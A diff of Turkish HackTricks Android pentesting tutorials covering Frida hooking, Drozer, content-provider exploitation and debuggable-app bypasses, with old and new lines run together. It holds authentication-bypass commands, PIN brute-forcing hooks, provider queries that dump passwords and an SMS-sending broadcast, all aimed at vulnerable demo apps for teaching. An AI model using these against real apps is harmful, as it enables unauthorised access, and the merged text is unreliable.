[RootAVD](https://github.com/newbit1/rootAVD) ve [Magisk](https://github.com/topjohnwu/Magisk) kullanarak bunu kökledim (örneğin [**bu videoyu**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **veya** [**şu videoyu**](https://www.youtube.com/watch?v=qQicUW0svB8) takip edebilirsiniz). [RootAVD](https://github.com/newbit1/rootAVD) ve [Magisk](https://github.com/topjohnwu/Magisk) kullanarak bunu kökledim (örneğin [**bu videoyu**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **veya** [**şu videoyu**](https://www.youtube.com/watch?v=qQicUW0svB8) takip edebilirsiniz).
## Burp Sertifikasını Yükleyin ## Burp Sertifikasını Yükle
Özel bir CA sertifikasını nasıl yükleyeceğinizi öğrenmek için aşağıdaki sayfayı kontrol edin: Özel bir CA sertifikasını nasıl yükleyeceğinizi öğrenmek için aşağıdaki sayfayı kontrol edin:

View File

@ -38,26 +38,26 @@ Hooking FingerprintManager.authenticate()...
Xposed veya Frida gibi enstrümantasyon çerçeveleri, uygulama yöntemlerine çalışma zamanında bağlanmak için kullanılabilir. Parmak izi kimlik doğrulaması için bu çerçeveler: Xposed veya Frida gibi enstrümantasyon çerçeveleri, uygulama yöntemlerine çalışma zamanında bağlanmak için kullanılabilir. Parmak izi kimlik doğrulaması için bu çerçeveler:
1. **Kimlik Doğrulama Geri Çağrılarını Taklit Etme**: `BiometricPrompt.AuthenticationCallback`'ın `onAuthenticationSucceeded`, `onAuthenticationFailed` veya `onAuthenticationError` yöntemlerine bağlanarak, parmak izi kimlik doğrulama sürecinin sonucunu kontrol edebilirsiniz. 1. **Kimlik Doğrulama Geri Aramalarını Taklit Etme**: `BiometricPrompt.AuthenticationCallback`'ın `onAuthenticationSucceeded`, `onAuthenticationFailed` veya `onAuthenticationError` yöntemlerine bağlanarak, parmak izi kimlik doğrulama sürecinin sonucunu kontrol edebilirsiniz.
2. **SSL Pinning'i Atlatma**: Bu, bir saldırganın istemci ile sunucu arasındaki trafiği yakalayıp değiştirmesine olanak tanır, bu da kimlik doğrulama sürecini değiştirebilir veya hassas verileri çalabilir. 2. **SSL Pinning'i Atlatma**: Bu, bir saldırganın istemci ile sunucu arasındaki trafiği kesip değiştirmesine olanak tanır, bu da kimlik doğrulama sürecini değiştirebilir veya hassas verileri çalabilir.
Frida için örnek komut: Frida için örnek komut:
```bash ```bash
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
``` ```
## **Yöntem 4 Tersine Mühendislik ve Kod Modifikasyonu** ## **Yöntem 4 Tersine Mühendislik ve Kod Değiştirme**
Tersine mühendislik araçları olan `APKTool`, `dex2jar` ve `JD-GUI`, bir Android uygulamasını decompile etmek, kaynak kodunu okumak ve kimlik doğrulama mekanizmasını anlamak için kullanılabilir. Adımlar genellikle şunları içerir: Tersine mühendislik araçları olan `APKTool`, `dex2jar` ve `JD-GUI`, bir Android uygulamasını decompile etmek, kaynak kodunu okumak ve kimlik doğrulama mekanizmasını anlamak için kullanılabilir. Adımlar genellikle şunları içerir:
1. **APK'nın Decompile Edilmesi**: APK dosyasını daha okunabilir bir formata (Java kodu gibi) dönüştürmek. 1. **APK'yı Decompile Etme**: APK dosyasını daha okunabilir bir formata (Java kodu gibi) dönüştürme.
2. **Kodun Analizi**: Parmak izi kimlik doğrulamasının uygulanışını aramak ve potansiyel zayıflıkları (yedekleme mekanizmaları veya uygunsuz doğrulama kontrolleri gibi) belirlemek. 2. **Kodu Analiz Etme**: Parmak izi kimlik doğrulamasının uygulanışını arama ve potansiyel zayıflıkları (yedekleme mekanizmaları veya uygunsuz doğrulama kontrolleri gibi) belirleme.
3. **APK'nın Yeniden Derlenmesi**: Parmak izi kimlik doğrulamasını atlamak için kodu değiştirdikten sonra, uygulama yeniden derlenir, imzalanır ve test için cihaza yüklenir. 3. **APK'yı Yeniden Derleme**: Parmak izi kimlik doğrulamasını atlamak için kodu değiştirdikten sonra, uygulama yeniden derlenir, imzalanır ve test için cihaza yüklenir.
## **Yöntem 5 Özel Kimlik Doğrulama Araçları Kullanma** ## **Yöntem 5 Özel Kimlik Doğrulama Araçları Kullanma**
Kimlik doğrulama mekanizmalarını test etmek ve atlamak için tasarlanmış özel araçlar ve betikler vardır. Örneğin: Kimlik doğrulama mekanizmalarını test etmek ve atlamak için tasarlanmış özel araçlar ve betikler vardır. Örneğin:
1. **MAGISK Modülleri**: MAGISK, kullanıcıların cihazlarını rootlamalarına ve parmak izleri de dahil olmak üzere donanım düzeyindeki bilgileri değiştirebilen veya taklit edebilen modüller eklemelerine olanak tanıyan bir Android aracıdır. 1. **MAGISK Modülleri**: MAGISK, kullanıcıların cihazlarını rootlamasına ve parmak izleri de dahil olmak üzere donanım düzeyindeki bilgileri değiştirebilen veya taklit edebilen modüller eklemesine olanak tanıyan bir Android aracıdır.
2. **Özel Yapım Betikler**: Android Debug Bridge (ADB) ile etkileşimde bulunmak veya uygulamanın arka ucuyla doğrudan etkileşimde bulunarak parmak izi kimlik doğrulamasını simüle etmek veya atlamak için betikler yazılabilir. 2. **Özel Yapım Betikler**: Android Debug Bridge (ADB) ile etkileşimde bulunmak veya uygulamanın arka ucuyla doğrudan etkileşimde bulunarak parmak izi kimlik doğrulamasını simüle etmek veya atlamak için betikler yazılabilir.
## Referanslar ## Referanslar

View File

@ -40,7 +40,7 @@ content query --uri content://media/external/file --projection _id,_data | grep
``` ```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass ### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
_**Same Origin Policy**_ (SOP), farklı kökenlerden gelen kaynaklarla etkileşimde bulunmayı kısıtlayan bir güvenlik protokolüdür. Bu protokol, bir Cross-Origin-Resource-Sharing (CORS) politikası tarafından açıkça izin verilmedikçe, web sayfalarının farklı kökenlerden gelen kaynaklarla etkileşimde bulunmasını engellemeyi amaçlar. Bu politika, bilgi sızıntılarını ve cross-site request forgery'yi önlemeyi hedefler. Chrome, `content://`'ı yerel bir şema olarak kabul eder ve bu da daha katı SOP kurallarını ifade eder; burada her yerel şema URL'si ayrı bir köken olarak değerlendirilir. _**Same Origin Policy**_ (SOP), farklı kökenlerden gelen kaynaklarla etkileşimde bulunmayı kısıtlayan bir güvenlik protokolüdür. Bu, yalnızca bir Cross-Origin-Resource-Sharing (CORS) politikası tarafından açıkça izin verilirse mümkündür. Bu politika, bilgi sızıntılarını ve cross-site request forgery'yi önlemeyi amaçlar. Chrome, `content://`'ı yerel bir şema olarak kabul eder ve bu da daha sıkı SOP kurallarını ifade eder; burada her yerel şema URL'si ayrı bir köken olarak değerlendirilir.
Ancak, CVE-2020-6516, `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının aşılmasına izin veren bir Chrome zafiyetiydi. Sonuç olarak, `content://` URL'sinden gelen JavaScript kodu, `content://` URL'leri aracılığıyla yüklenen diğer kaynaklara erişebiliyordu; bu, özellikle Android 10'dan önceki sürümleri çalıştıran Android cihazlarda önemli bir güvenlik endişesiydi, çünkü burada kapsamlı depolama uygulanmamıştı. Ancak, CVE-2020-6516, `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının aşılmasına izin veren bir Chrome zafiyetiydi. Sonuç olarak, `content://` URL'sinden gelen JavaScript kodu, `content://` URL'leri aracılığıyla yüklenen diğer kaynaklara erişebiliyordu; bu, özellikle Android 10'dan önceki sürümleri çalıştıran Android cihazlarda önemli bir güvenlik endişesiydi, çünkü burada kapsamlı depolama uygulanmamıştı.

View File

@ -1,4 +1,4 @@
# Drozer Eğitimi # Drozer Tutorial
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
@ -9,7 +9,7 @@
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'tan) - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs'tan)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'sinden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.** **Bu eğitimin bazı bölümleri** [**Drozer belgeleri pdf'inden**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)** alınmıştır.**
## Kurulum ## Kurulum
@ -19,9 +19,7 @@ pip install drozer-2.4.4-py2-none-any.whl
pip install twisted pip install twisted
pip install service_identity pip install service_identity
``` ```
[en] ve [tr] ile ilgili metinleri çevirmiyorum. drozer APK'sını [en son sürümlerden](https://github.com/mwrlabs/drozer/releases) indirin ve kurun. Şu anda bu [şu](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
drozer APK'sını [latest releases](https://github.com/mwrlabs/drozer/releases) adresinden indirin ve kurun. Şu anda [bu](https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk).
```bash ```bash
adb install drozer.apk adb install drozer.apk
``` ```
@ -46,7 +44,7 @@ drozer console connect
| **Help MODULE** | Seçilen modülün yardımını gösterir | | **Help MODULE** | Seçilen modülün yardımını gösterir |
| **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. | | **list** | Mevcut oturumda çalıştırılabilen tüm drozer modüllerinin listesini gösterir. Bu, çalıştırmak için uygun izinlere sahip olmadığınız modülleri gizler. |
| **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. | | **shell** | Cihazda, Agent bağlamında etkileşimli bir Linux kabuğu başlatır. |
| **clean** | Android cihazında drozer tarafından depolanan geçici dosyaları kaldırır. | | **clean** | Android cihazında drozer tarafından saklanan geçici dosyaları kaldırır. |
| **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla çalıştırır. | | **load** | Drozer komutlarını içeren bir dosyayı yükler ve bunları sırayla çalıştırır. |
| **module** | İnternetten ek drozer modüllerini bulur ve yükler. | | **module** | İnternetten ek drozer modüllerini bulur ve yükler. |
| **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. | | **unset** | Drozer'in oluşturduğu herhangi bir Linux kabuğuna geçirdiği adlandırılmış bir değişkeni kaldırır. |
@ -97,14 +95,14 @@ Attack Surface:
2 services exported 2 services exported
is debuggable is debuggable
``` ```
- **Aktiviteler**: Belki bir aktivite başlatabilir ve sizi başlatmaktan alıkoyması gereken bir tür yetkilendirmeyi atlayabilirsiniz. - **Etkinlikler**: Belki bir etkinlik başlatabilir ve sizi başlatmaktan alıkoyması gereken bir tür yetkilendirmeyi atlayabilirsiniz.
- **İçerik sağlayıcıları**: Belki özel verilere erişebilir veya bazı güvenlik açıklarını (SQL Injection veya Path Traversal) istismar edebilirsiniz. - **İçerik sağlayıcıları**: Belki özel verilere erişebilir veya bazı güvenlik açıklarını (SQL Injection veya Path Traversal) istismar edebilirsiniz.
- **Hizmetler**: - **Hizmetler**:
- **debuggable**: [Daha fazla bilgi edinin](./#is-debuggeable) - **debuggable**: [Daha fazla bilgi edinin](./#is-debuggeable)
### Aktiviteler ### Etkinlikler
Bir dışa aktarılmış aktivite bileşeninin “android:exported” değeri AndroidManifest.xml dosyasında **“true”** olarak ayarlanmıştır: Bir dışa aktarılmış etkinlik bileşeninin “android:exported” değeri AndroidManifest.xml dosyasında **“true”** olarak ayarlanmıştır:
```markup ```markup
<activity android:name="com.my.app.Initial" android:exported="true"> <activity android:name="com.my.app.Initial" android:exported="true">
</activity> </activity>
@ -123,16 +121,16 @@ Belki bir etkinliği başlatabilir ve sizi başlatmaktan alıkoyması gereken bi
```bash ```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
``` ```
Ayrıca **adb** ile dışa aktarılmış bir aktivite başlatabilirsiniz: Ayrıca **adb** ile dışa aktarılan bir etkinliği başlatabilirsiniz:
- Paket Adı com.example.demo - Paket Adı com.example.demo
- Dışa Aktarılan Aktivite Adı com.example.test.MainActivity - Dışa Aktarılan Etkinlik Adı com.example.test.MainActivity
```bash ```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity adb shell am start -n com.example.demo/com.example.test.MainActivity
``` ```
### İçerik Sağlayıcıları ### İçerik Sağlayıcıları
Bu gönderi burada yer alacak kadar büyük olduğu için **ona** [**kendi sayfasından buradan erişebilirsiniz**](exploiting-content-providers.md). Bu gönderi burada yer alacak kadar büyük olduğu için **ulaşabilirsiniz** [**kendi sayfasında buradan**](exploiting-content-providers.md).
### Hizmetler ### Hizmetler
@ -166,7 +164,7 @@ app.service.stop Stop Service
![](<../../../images/image (1079).png>) ![](<../../../images/image (1079).png>)
Öncelikle "_msg.what_" içindeki veriyi, ardından "_msg.arg1_" ve "_msg.arg2_" göndereceğinizi unutmayın, **hangi bilginin kullanıldığını** ve nerede olduğunu kod içinde kontrol etmelisiniz.\ Öncelikle "_msg.what_" içindeki veriyi, ardından "_msg.arg1_" ve "_msg.arg2_" göndereceğinizi unutmayın, **hangi bilginin kullanıldığını** ve nerede olduğunu kod içinde kontrol etmelisiniz.\
`--extra` seçeneğini kullanarak "_msg.replyTo_" tarafından yorumlanan bir şey gönderebilir ve `--bundle-as-obj` kullanarak sağlanan detaylarla bir nesne oluşturabilirsiniz. `--extra` seçeneğini kullanarak "_msg.replyTo_" tarafından yorumlanan bir şey gönderebilirsiniz ve `--bundle-as-obj` kullanarak sağlanan detaylarla bir nesne oluşturursunuz.
Aşağıdaki örnekte: Aşağıdaki örnekte:
@ -218,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
``` ```
#### Mesaj Gönder #### Mesaj Gönder
Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir SMS** herhangi bir premium olmayan hedefe **gönderebilirsiniz**. Bu örnekte [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) İçerik Sağlayıcısını kötüye kullanarak, kullanıcıdan izin istemeden **herhangi bir premium olmayan hedefe rastgele bir SMS** gönderebilirsiniz.
![](<../../../images/image (415).png>) ![](<../../../images/image (415).png>)
@ -231,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
### Debuggable mı ### Debuggable mı
Bir üretim APK'sı asla debuggable olmamalıdır.\ Bir üretim APK'sı asla debuggable olmamalıdır.\
Bu, çalışmakta olan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için. Bu, çalışan uygulamaya **java debugger** ekleyebileceğiniz, çalışma zamanında inceleyebileceğiniz, kesme noktaları ayarlayabileceğiniz, adım adım ilerleyebileceğiniz, değişken değerlerini toplayabileceğiniz ve hatta bunları değiştirebileceğiniz anlamına gelir. [InfoSec institute'un harika bir makalesi var](../exploiting-a-debuggeable-applciation.md) uygulamanız debuggable olduğunda daha derinlemesine incelemek ve çalışma zamanı kodu enjekte etmek için.
Bir uygulama debuggable olduğunda, Manifest'te görünecektir: Bir uygulama debuggable olduğunda, Manifest'te görünecektir:
```xml ```xml

View File

@ -6,7 +6,7 @@
## Giriş ## Giriş
Veri, **bir uygulamadan diğerlerine** bir bileşen olan **içerik sağlayıcı** aracılığıyla talep üzerine sağlanır. Bu talepler, **ContentResolver sınıfı** yöntemleri aracılığıyla yönetilir. İçerik sağlayıcılar verilerini çeşitli yerlerde depolayabilir, örneğin **veritabanı**, **dosyalar** veya bir **ağ** üzerinden. Veri, **bir uygulamadan diğerlerine** bir bileşen olan **içerik sağlayıcı** aracılığıyla talep üzerine sağlanır. Bu talepler, **ContentResolver sınıfı** yöntemleri aracılığıyla yönetilir. İçerik sağlayıcılar verilerini çeşitli yerlerde depolayabilir, örneğin **veritabanı**, **dosyalar** veya **ağ** üzerinden.
_Manifest.xml_ dosyasında, içerik sağlayıcının beyanı gereklidir. Örneğin: _Manifest.xml_ dosyasında, içerik sağlayıcının beyanı gereklidir. Örneğin:
```xml ```xml
@ -14,7 +14,7 @@ _Manifest.xml_ dosyasında, içerik sağlayıcının beyanı gereklidir. Örneğ
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/> <path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider> </provider>
``` ```
`content://com.mwr.example.sieve.DBContentProvider/Keys` erişmek için `READ_KEYS` izni gereklidir. Geliştiricinin hatası nedeniyle `/Keys` güvence altına alınmışken `/Keys/`'in korunmadığına dikkat çekmek ilginçtir. `content://com.mwr.example.sieve.DBContentProvider/Keys` erişmek için `READ_KEYS` izni gereklidir. Geliştiricinin, `/Keys`'i güvence altına almasına rağmen `/Keys/`'i beyan etmesi nedeniyle, `/Keys/` yolunun aşağıdaki bölümde erişilebilir olduğunu belirtmek ilginçtir.
**Belki özel verilere erişebilir veya bazı zayıflıkları (SQL Injection veya Path Traversal) istismar edebilirsiniz.** **Belki özel verilere erişebilir veya bazı zayıflıkları (SQL Injection veya Path Traversal) istismar edebilirsiniz.**
@ -62,7 +62,7 @@ Ayrıca, tam sorgular bulamazsanız, `onCreate` metodunda **ContentProvider tara
![](<../../../images/image (564).png>) ![](<../../../images/image (564).png>)
Sorgu şöyle olacaktır: `content://name.of.package.class/declared_name` Sorgu şöyle olacak: `content://name.of.package.class/declared_name`
## **Veritabanı destekli İçerik Sağlayıcılar** ## **Veritabanı destekli İçerik Sağlayıcılar**
@ -77,7 +77,7 @@ Muhtemelen çoğu İçerik Sağlayıcı, bir **veritabanı** için **arayüz** o
Çünkü onları çağırabileceksiniz Çünkü onları çağırabileceksiniz
### İçerik sorgulama ### İçerik sorgusu
``` ```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1 _id: 1

View File

@ -4,7 +4,7 @@
# **Kök ve hata ayıklanabilir kontrollerin atlatılması** # **Kök ve hata ayıklanabilir kontrollerin atlatılması**
Bu gönderinin bu bölümü, [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) gönderisinden bir özet. Bu bölüm, [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) başlıklı yazıdan bir özet içermektedir.
## Android Uygulamasını Hata Ayıklanabilir Hale Getirme ve Kontrolleri Atlatma Adımları ## Android Uygulamasını Hata Ayıklanabilir Hale Getirme ve Kontrolleri Atlatma Adımları
@ -43,7 +43,7 @@ Bu gönderinin bu bölümü, [**https://medium.com/@shubhamsonani/hacking-with-p
### **Kontrolleri Atlatma** ### **Kontrolleri Atlatma**
Uygulama, belirli noktalarda hata ayıklanabilir olup olmadığını kontrol edecek ve köklenmiş bir cihazı gösteren ikili dosyaları da kontrol edecektir. Hata ayıklayıcı, uygulama bilgilerini değiştirmek, hata ayıklanabilir bayrağını kaldırmak ve aranan ikili dosyaların adlarını değiştirmek için kullanılabilir. Uygulama, belirli noktalarda hata ayıklanabilir olup olmadığını kontrol edecek ve köklenmiş bir cihazı gösteren ikili dosyaları da kontrol edecektir. Hata ayıklayıcı, uygulama bilgilerini değiştirmek, hata ayıklanabilir bitini kaldırmak ve aranan ikili dosyaların adlarını değiştirmek için kullanılabilir.
Hata ayıklanabilir kontrolü için: Hata ayıklanabilir kontrolü için:
@ -65,13 +65,13 @@ Bir düğme ve bir metin görünümü içeren savunmasız bir uygulama kullanıl
- Uygulama, `AndroidManifest.xml` dosyasına erişmek için `apktool` kullanılarak decompile edildi. - Uygulama, `AndroidManifest.xml` dosyasına erişmek için `apktool` kullanılarak decompile edildi.
- AndroidManifest.xml dosyasında `android_debuggable="true"` ifadesinin varlığı, uygulamanın hata ayıklanabilir olduğunu ve istismara açık olduğunu gösterir. - AndroidManifest.xml dosyasında `android_debuggable="true"` ifadesinin varlığı, uygulamanın hata ayıklanabilir olduğunu ve istismara açık olduğunu gösterir.
- `apktool`'un yalnızca hata ayıklanabilir durumu kontrol etmek için kullanıldığını belirtmek gerekir; herhangi bir kod değiştirilmez. - `apktool`'un yalnızca hata ayıklanabilir durumu kontrol etmek için kullanıldığını belirtmek gerekir; herhangi bir kod değiştirilmemiştir.
## **Kurulumu Hazırlama** ## **Kurulumu Hazırlama**
- Süreç, bir emülatör başlatmayı, savunmasız uygulamayı yüklemeyi ve dinleyen Dalvik VM portlarını belirlemek için `adb jdwp` kullanmayı içeriyordu. - Süreç, bir emülatör başlatmayı, savunmasız uygulamayı yüklemeyi ve dinleyen Dalvik VM portlarını belirlemek için `adb jdwp` kullanmayı içeriyordu.
- JDWP (Java Debug Wire Protocol), bir VM'de çalışan bir uygulamanın hata ayıklanmasını sağlamak için benzersiz bir port açar. - JDWP (Java Debug Wire Protocol), bir VM'de çalışan bir uygulamanın hata ayıklanmasını sağlamak için benzersiz bir port açar.
- Uzaktan hata ayıklama için port yönlendirme gerekliydi, ardından JDB hedef uygulamaya bağlandı. - Uzaktan hata ayıklama için port yönlendirmesi gerekliydi, ardından JDB hedef uygulamaya bağlandı.
## **Çalışma Zamanında Kod Enjekte Etme** ## **Çalışma Zamanında Kod Enjekte Etme**

View File

@ -5,7 +5,7 @@
## Kurulum ## Kurulum
**frida tools**'u kurun: **frida tools**'ı yükleyin:
```bash ```bash
pip install frida-tools pip install frida-tools
pip install frida pip install frida
@ -142,9 +142,9 @@ send("Decrypted flag: " + flag)
return ret //[B return ret //[B
} }
``` ```
### Fonksiyonları Hooklama ve Girdiğimizle Çağırma ### Fonksiyonları yakalamak ve onları girdiğimizle çağırmak
Bir dize alan bir fonksiyonu hooklayın ve onu başka bir dize ile çağırın (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) Bir dize alan bir fonksiyonu yakalayın ve onu başka bir dize ile çağırın (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript ```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class

View File

@ -2,14 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**Bu gönderinin özeti**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **Bu gönderinin özeti**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Kaynak Kodu**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) **Kaynak Kodu**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
## Python ## Python
Frida, bir uygulamanın çalışan fonksiyonları içine **JavaScript kodu** **eklemenize** olanak tanır. Ancak **hook'ları çağırmak** ve hatta **hook'larla etkileşimde bulunmak** için **python** kullanabilirsiniz. Frida, bir uygulamanın çalışan fonksiyonları içine **JavaScript kodu** **eklemenizi** sağlar. Ancak **hook'ları** **çağırmak** ve hatta **hook'larla** **etkileşimde bulunmak** için **python** kullanabilirsiniz.
Bu, bu öğreticideki tüm önerilen örneklerle kullanabileceğiniz kolay bir python betiğidir: Bu, bu öğreticideki tüm önerilen örneklerle kullanabileceğiniz kolay bir python betiğidir:
```python ```python
@ -56,7 +55,7 @@ Bak: Fonksiyon bir String parametre alıyor, overload yapmaya gerek var mı?
### Statik Olmayan Fonksiyon ### Statik Olmayan Fonksiyon
Eğer bir sınıfın statik olmayan fonksiyonunu çağırmak istiyorsanız, **öncelikle o sınıfın bir örneğine** ihtiyacınız var. Ardından, o örneği kullanarak fonksiyonu çağırabilirsiniz.\ Eğer bir sınıfın statik olmayan fonksiyonunu çağırmak istiyorsanız, **öncelikle o sınıfın bir örneğine** ihtiyacınız var. Sonra, o örneği kullanarak fonksiyonu çağırabilirsiniz.\
Bunu yapmak için, **mevcut bir örneği bulabilir** ve kullanabilirsiniz: Bunu yapmak için, **mevcut bir örneği bulabilir** ve kullanabilirsiniz:
```javascript ```javascript
Java.perform(function () { Java.perform(function () {
@ -95,7 +94,7 @@ console.log("[ + ] Found correct PIN: " + i)
``` ```
## Hook 3 - Argümanları ve dönüş değerini alma ## Hook 3 - Argümanları ve dönüş değerini alma
Bir fonksiyonu hook'layabilir ve **geçilen argümanların** değerini ve **dönüş değerinin** değerini **yazdırmasını** sağlayabilirsiniz: Bir fonksiyonu hooklayabilir ve **geçirilen argümanların** değerini ve **dönüş değerinin** değerini **yazdırmasını** sağlayabilirsiniz:
```javascript ```javascript
//hook3.js //hook3.js
Java.perform(function () { Java.perform(function () {
@ -115,9 +114,6 @@ return encrypted_ret
``` ```
## Önemli ## Önemli
Bu eğitimde, yöntemleri metodun adı ve _.implementation_ kullanarak bağladınız. Ancak eğer **aynı adı taşıyan birden fazla yöntem** varsa, bağlamak istediğiniz **yöntemi belirtmeniz** gerekecek **argümanların türünü belirterek**. Bu eğitimde, yöntemlerin adını ve _.implementation_ kullanarak bağladınız. Ancak eğer **aynı ada sahip birden fazla yöntem** varsa, bağlamak istediğiniz **yöntemi belirtmeniz** gerekecek **argümanların türünü belirterek**.
Bunu [bir sonraki eğitimde](frida-tutorial-2.md) görebilirsiniz. Bunu [bir sonraki eğitimde](frida-tutorial-2.md) görebilirsiniz.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -11,9 +11,9 @@ Bölüm 1 çok kolay.
## Bölüm 2 ## Bölüm 2
Burada **aynı isme sahip 2 fonksiyonu** ama farklı parametrelerle nasıl **hook'layacağınızı** görebilirsiniz.\ Burada **aynı isme sahip 2 fonksiyonu farklı parametrelerle nasıl hook'layacağınızı** görebilirsiniz.\
Ayrıca, **kendi parametrelerinizle bir fonksiyonu nasıl çağıracağınızı** öğreneceksiniz.\ Ayrıca, **kendi parametrelerinizle bir fonksiyonu nasıl çağıracağınızı** öğreneceksiniz.\
Ve son olarak, bir **sınıfın örneğini bulup bir fonksiyonu nasıl çağıracağınıza** dair bir örnek var. Ve son olarak, **bir sınıfın örneğini nasıl bulup bir fonksiyonu çağırmasını sağlayacağınız** ile ilgili bir örnek var.
```javascript ```javascript
//s2.js //s2.js
console.log("Script loaded successfully "); console.log("Script loaded successfully ");
@ -48,7 +48,7 @@ onComplete: function () { }
}); });
}); });
``` ```
Bir String oluşturmak için önce _java.lang.String_ sınıfına referans verildiğini ve ardından içeriği bir String olan o sınıfın _$new_ nesnesinin oluşturulduğunu görebilirsiniz. Bu, bir sınıfın yeni bir nesnesini oluşturmanın doğru yoludur. Ancak, bu durumda `this.fun()`'a herhangi bir String geçirebilirsiniz, örneğin: `this.fun("hey there!")` Bir String oluşturmak için önce _java.lang.String_ sınıfına referans verildiğini ve ardından içeriği bir String olan o sınıfın bir _$new_ nesnesinin oluşturulduğunu görebilirsiniz. Bu, bir sınıfın yeni bir nesnesini oluşturmanın doğru yoludur. Ancak, bu durumda `this.fun()`'a herhangi bir String geçirebilirsiniz, örneğin: `this.fun("hey there!")`
### Python ### Python
```python ```python
@ -108,7 +108,7 @@ script.exports.hooksecretfunction()
``` ```
Komut "**1**" **çıkacaktır**, komut "**2**" sınıfın bir **örneğini bulacak ve özel fonksiyonu** _**secret()**_ **çağıracaktır** ve komut "**3**" **fonksiyonu** _**secret()**_ **hooklayacaktır** böylece **farklı bir dize** **döndürecektir**. Komut "**1**" **çıkacaktır**, komut "**2**" sınıfın bir **örneğini bulacak ve özel fonksiyonu** _**secret()**_ **çağıracaktır** ve komut "**3**" **fonksiyonu** _**secret()**_ **hooklayacaktır** böylece **farklı bir dize** **döndürecektir**.
Yani, eğer "**2**" çağırırsanız **gerçek sırrı** alırsınız, ama eğer "**3**" çağırır ve sonra "**2**" çağırırsanız **sahte sırrı** alırsınız. O halde, eğer "**2**" çağırırsanız **gerçek sırrı** alırsınız, ama eğer "**3**" çağırır ve sonra "**2**" çağırırsanız **sahte sırrı** alırsınız.
### JS ### JS
```javascript ```javascript
@ -150,7 +150,7 @@ hooksecretfunction: hookSecret,
``` ```
## Bölüm 4 ## Bölüm 4
